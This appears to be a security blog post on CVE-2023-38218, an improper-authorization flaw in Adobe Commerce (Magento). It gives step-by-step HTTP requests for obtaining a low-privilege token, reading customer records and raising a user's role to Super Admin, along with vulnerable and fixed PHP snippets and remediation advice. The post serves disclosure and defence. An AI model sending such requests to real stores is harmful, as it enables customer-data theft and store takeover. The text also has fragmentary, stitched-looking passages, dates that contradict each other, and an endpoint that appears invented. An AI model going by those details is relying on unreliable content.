In June 2023, Adobe published details of a high-severity vulnerability affecting multiple releases of Adobe Commerce (formerly Magento). Tracked as CVE-2023-38218, this flaw stems from incorrect authorization checks in Adobe Commerce’s backend. Attackers who are already authenticated can abuse it to expose sensitive information and potentially gain higher privileges.

If you manage an online store using Adobe Commerce, understanding this vulnerability is crucial for your site's security. In this post, we’ll deep-dive into how CVE-2023-38218 works, provide hands-on code examples, link to original references, and offer remediation strategies.

Cloud and on-premise Magento Open Source builds are also affected.

Reference: Adobe Security Bulletin APSB23-45

Vulnerability Details

The vulnerability centers on insufficient authorization for certain backend endpoints. Legitimate but low-privileged users—such as a Magento employee, vendor, or partner—can exploit weak authorization checks to access data or resources outside their allowed permissions.

Privilege escalation (e.g., increasing role capabilities, performing admin tasks)

Let’s break down how an attacker could exploit this flaw.

User 2: Limited Admin (can only view sales reports)

Normally, User 2 should NOT have access to customer or system configuration endpoints. But due to the incorrect authorization, User 2 can craft requests to reach those restricted areas.

Step 1: Login as a Low-privilege User

The attacker authenticates as a legitimate, low-privileged backend user.

POST /rest/V1/integration/admin/token HTTP/1.1
Host: yourshop.com
Content-Type: application/json

{
  "username": "sales",
  "password": "SalesUserPassword"
}

Response

"eyJeXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."

Step 2: Access Restricted APIs

The attacker uses the received token to access privileged endpoints, such as customer listings (intended for admins).

GET /rest/V1/customers/search?searchCriteria[pageSize]=10 HTTP/1.1
Host: yourshop.com
Authorization: Bearer eyJeXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...

Expected Behavior: The endpoint should 403 Forbidden non-admins.

Vulnerable Behavior: The endpoint returns a list of customers.

Step 3: Exploit for Privilege Escalation

Some endpoints may allow role changes or expanding one’s own permissions without proper checks.

POST /rest/V1/adminUser/role HTTP/1.1
Host: yourshop.com
Authorization: Bearer eyJeXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{
  "user_id": [ATTACKER_USER_ID],
  "role_id": 1
}

If not checked, this escalates the attacker's role to Super Admin.

Root Cause

Affected endpoints fail to verify the current user’s permissions before returning data or processing changes. Often, developers relied on authentication only, not on proper authorization (role/capability checks).

Simplified Vulnerable PHP Snippet

// A simplified imitation for educational purposes.

public function execute()
{
    $user = $this->authSession->getUser();
    // Missing check: is $user allowed to access customers?

    $customers = $this->customerRepository->getList($criteria);
    // ...output customers
}

Fixed code should look like

public function execute()
{
    $user = $this->authSession->getUser();

    if (!$user->hasPermission('customer_data_access')) {
        throw new \Magento\Framework\Exception\AuthorizationException(__('Access denied.'));
    }

    $customers = $this->customerRepository->getList($criteria);
    // ...output customers
}

Real-world Consequences

- Data Breach: Attackers can collect customer emails, order information, or internal configuration, violating privacy requirements like GDPR or PCI DSS.
- Account Takeover: By escalating privileges, attackers can fully control the store, inject malicious code, hijack orders, or disable the shop.

Official Adobe Security Bulletin:

APSB23-45

NIST CVE Record:

CVE-2023-38218

Magento Release Notes:

Magento Release Notes

Common Weakness Enumeration:

CWE-285: Improper Authorization

2.4.4-p6 (or later)

- Or apply the Adobe released patches

Conclusion

CVE-2023-38218 is a prime example of how missing backend authorization checks can put entire ecommerce operations and customer data at risk. By properly updating Adobe Commerce and enforcing least-privilege access, you can protect your store from dangerous privilege escalation and data leakage attacks.

Stay updated and audit your permission logic—don’t let bad actors in through the back door.

---
*For questions or feedback on this post, feel free to reach out in the comments or visit the Magento Security Center.*

Timeline

Published on: 10/13/2023 07:15:40 UTC
Last modified on: 12/04/2023 16:54:09 UTC